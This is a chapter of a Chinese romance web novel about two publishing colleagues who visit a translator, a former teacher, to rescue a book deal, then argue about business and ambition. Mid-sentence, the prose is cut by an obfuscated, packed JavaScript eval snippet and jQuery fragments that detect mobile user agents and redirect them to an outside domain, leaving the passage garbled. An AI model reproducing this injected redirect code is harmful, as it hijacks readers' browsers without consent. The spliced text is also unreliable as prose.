门开了。
路晚风收回视线:“进去吧。”
钰茗跟在他身后,不知为何,眼前浮现地是刚才路晚风说话时候的口吻表情。
路晚风很少会欲言又止。
进门的瞬间,他顿了顿。
等等——
是因为刚才自己说的那句“有想法也没什么用”吗?
没等钰茗想更多,眼前走过来的人让他惊讶地睁大双眼。
“钰茗?”
钰茗激动道:“章老师!”
没想到他们来的竟然是高中数学老师的家里,钰茗忍不住转头看了一眼路晚风。
男人很轻摸了摸鼻子,笑着也同章老师打招呼。
高中毕业后,很难再有机会和以前的老师相聚。
上半年高中同学聚会,章老师因病没来,钰茗心里担忧,又因为工作繁忙一直没机会过来探望,只能电话短信联系关心。
钰茗走到章老师身边:“老师,真的好久没见了,您最近身体好点了吗?”
“没事啦!”章老师笑着摸了摸他的头,“好几年了,你比之前高了。”
钰茗用力点头。
“也帅了。”
钰茗抿唇,耳朵尖有点发红。
很多人都夸过他帅,但老师夸的不一样,尤其是旁边还有个更帅的。
夸完人,章老师有些奇怪地看了一眼钰茗:“你怎么突然来了?旁边这位是之前联系的客人?”
钰茗:“我们一起的。”
将两人带来的礼物收好,章老师笑着将两人带往里面:“那来,老许已经等你们一会了。”
钰茗往前的脚步一顿。
老许?
那不是章老师的丈夫么?
书房的门被推开,钰茗睁圆双眼看着坐在里面的中年男人:“许、许老师?!”
章老师的丈夫,许易,之前也是钰茗高中的老师。在钰茗高一那年辞职了,同学们都说他是去创业了。
没想到是创这个业。
-
许易接过路晚风递过去的材料,扫了一遍,推了推眼镜,抬起眼来:“倒是比你们总编做的更细致一些。”
钰茗眼眸亮晶晶的,抿唇笑。
路晚风:“我只是希望许老师能感受到我们的诚意。”
许易放下材料:“你知道我的笔名为什么是雨路吗?”
路晚风眼里划过难得的困惑。
钰茗唇角笑意加深,总算有你不知道的了!
他接话道:“因为章老师名字里的‘露’字!”
钰茗也是在进门的电光火石间想到这一点的,难怪越来越多的翻译家都改回自己的名字,雨路老师依旧岿然不动。
这是在跟自己的太太示爱呢!
许易眼里多了一份满意,但转瞬即逝:“确实如此,所以我不能够接受我的作品出版有任何风险或者问题。换句话说,我比你们之前联系的那位老师要求更为苛刻,眼里更容不得沙子。”
路晚风诚恳道:“上一次的运营事故确实很严重,我们依规开除了犯错的员工,也对他的上级进行了追责。这次之后,我们一定会非常重视后续的合作,绝对不会再出现这样的纰漏。”
前一段时间,壹文的微博美术运营误将没有购买版权的书封P到了即将出版的套书上,而这套书封的原创者也很大来头,当即转发此微博进行声讨,一时间掀起了极大的风浪。
这件事不光壹文出版社声誉大损,还影响到了翻译老师本人的风评。虽然后来壹文发布道歉书,澄清所有,但依旧无法彻底阻止那些流言蜚语,最后在翻译老师的盛怒中解约。
但是出版的所有准备都已就绪,若是此时不按照计划出版,壹文就得承担前面的巨额投资损失。
某种程度上,路晚风来接手的,是一个很烂的摊子。而恰好刚刚版权到期,又知名度足够的“雨路”的翻译版本,是眼下壹文最需要的,能救他们的“香馍馍”。
路晚风的谦卑态度并未获得许易的认可。
“但这件事透露更多的,是你们公司上层骨子里对于我们译者的不重视。若是重视,一定会在发送微博之前,将文字图书一一审核,而不是由着一个普通员工随便编辑发布。”
许易说完,视线停在脸色越发凝重的钰茗身上,欲言又止,最后挥了挥手:“你们走吧。”
--
钰茗在门口和章老师告别。
“钰茗,”女人拉住他的手,“对不起啊,老许就是这么个执拗的性子,我回头再好好和他说说。”
钰茗吸了吸鼻子:“老师您不用道歉的,是我们还不够好。”
“不是因为你们不够好,是因为每一本书对他来说,都很特别。”
钰茗了然点头:“每一个文学家都很爱自己的作品,许老师的态度没有问题。”
他笑着鞠了一躬,礼貌告别。
章老师叹了口气,看着他的背影微微摇了摇头。
--
钰茗走在前面,步子很快。
路晚风盯着他的后脑勺,看了好一会,快走两步,拉住他的手腕。
钰茗猛地停下来:“你来之前为什么不告诉我,雨路和章老师的关系呢?”
路晚风:“我说了,你也许不愿意来了。”
钰茗用力咬了咬嘴唇。
作为编务,公司现下的风波对他影响很小,办公室里大家也都和乐融融的。
但他对这件事很了解,也清楚如果雨路真的同意合作,将会面临什么样的挑战和压力。
“许老师以前帮过我很多,他还给我补过课。”
路晚风挑起眉头:“我也给你补过课。”
钰茗:“……”
那能一样吗?!
他深吸了一口气,语气沉重:“那你知不知道,雨路老师曾经说过,他翻译的每一本书里,都藏着对爱人的情书?”
路晚风一动不动地看着他,不说话。
“如果我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955998|177612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们把事情弄砸了,就是玷污了他的‘情书’,我要是他,也不会同意这个合作的。”
安静听完,路晚风朗声开口:“但这又何尝不是一种挑战呢?他帮我们渡过困难危机,我们帮他把专属情书投放到世界的所有角落。”
“世界的所有角落?”
路晚风一直看着钰茗。
在听到“世界的所有角落”几个字的时候,他的双眼明显亮了,表情也生动起来。
不似之前,满满都是难过和懊恼。
路晚风:“是的,壹文最近在融资准备跨国公司的事情,我上次临时回加国也是因为这件事,若是你的老师能帮我们渡过这次危机,我会劝说总编将他的书放到第一批国外发行的行列里。”
钰茗已经被说服了,但还是没忍住尖锐发言:“你果然骨子里是个商人,做什么事情都讲究利益交换。”
路晚风不置可否,甚至轻笑了一声。
钰茗有时候也不大明白自己什么情况,他是个情绪很稳定的人,平日里极少生气和人争执。
像刚才这句话,他绝对不会和其他人说。
唯独路晚风——
他好像特别容易跟路晚风较劲。
——明明他们也没有那么熟的。
“在你眼里风投是什么?”路晚风突然问他。
钰茗学的文科,不懂投行这些,因为赵晨亮也略微了解过这一行业,言简意赅总结:“看好一个项目,投资,然后获得收益。”
“那你觉不觉得,出版亦是一种‘风投’?”
钰茗眼露不解。
路晚风勾唇:“我们劝说版权拥有者将版权交于出版公司,通过出版公司宣传包装,最终书籍上市给版权拥有者和出版公司带来双向收益,这和风投算不算殊途同归?”
钰茗第一次听到这样的解释,有些震惊。
稍作细想,禁不住在心里暗暗赞叹路晚风的想法和思路。
这家伙还真是——
钰茗想了许久,最后盘旋在舌尖的,是“厉害”二字。
他不光这么想了,还这么说了。
“你很厉害。”
路晚风看着钰茗,坦然接受了对方的夸赞。
钰茗有些羡慕:“你这样的人,是不是没有失败过?”
路晚风笑意深沉:“我怎么会没失败过?”
钰茗:“每次听说你的事情,都是各种成功案例,大家可羡慕你了。”
路晚风朝他眨了眨眼。
“因为我会藏啊。”
路晚风稍稍偏头,一/大片日光落入眸中,泛起细碎闪亮的光芒,他就这么看着钰茗,继续说道:“不让别人发现我失败了,就能一次次重整旗鼓,再次出发,直到——”
钰茗被他说的有些激动,心也跟着提了起来:“直到怎么样?”
下一瞬,手臂被紧紧握住。
那些光在路晚风的眼里彻底燃烧了起来。
“直到我彻底得到他。”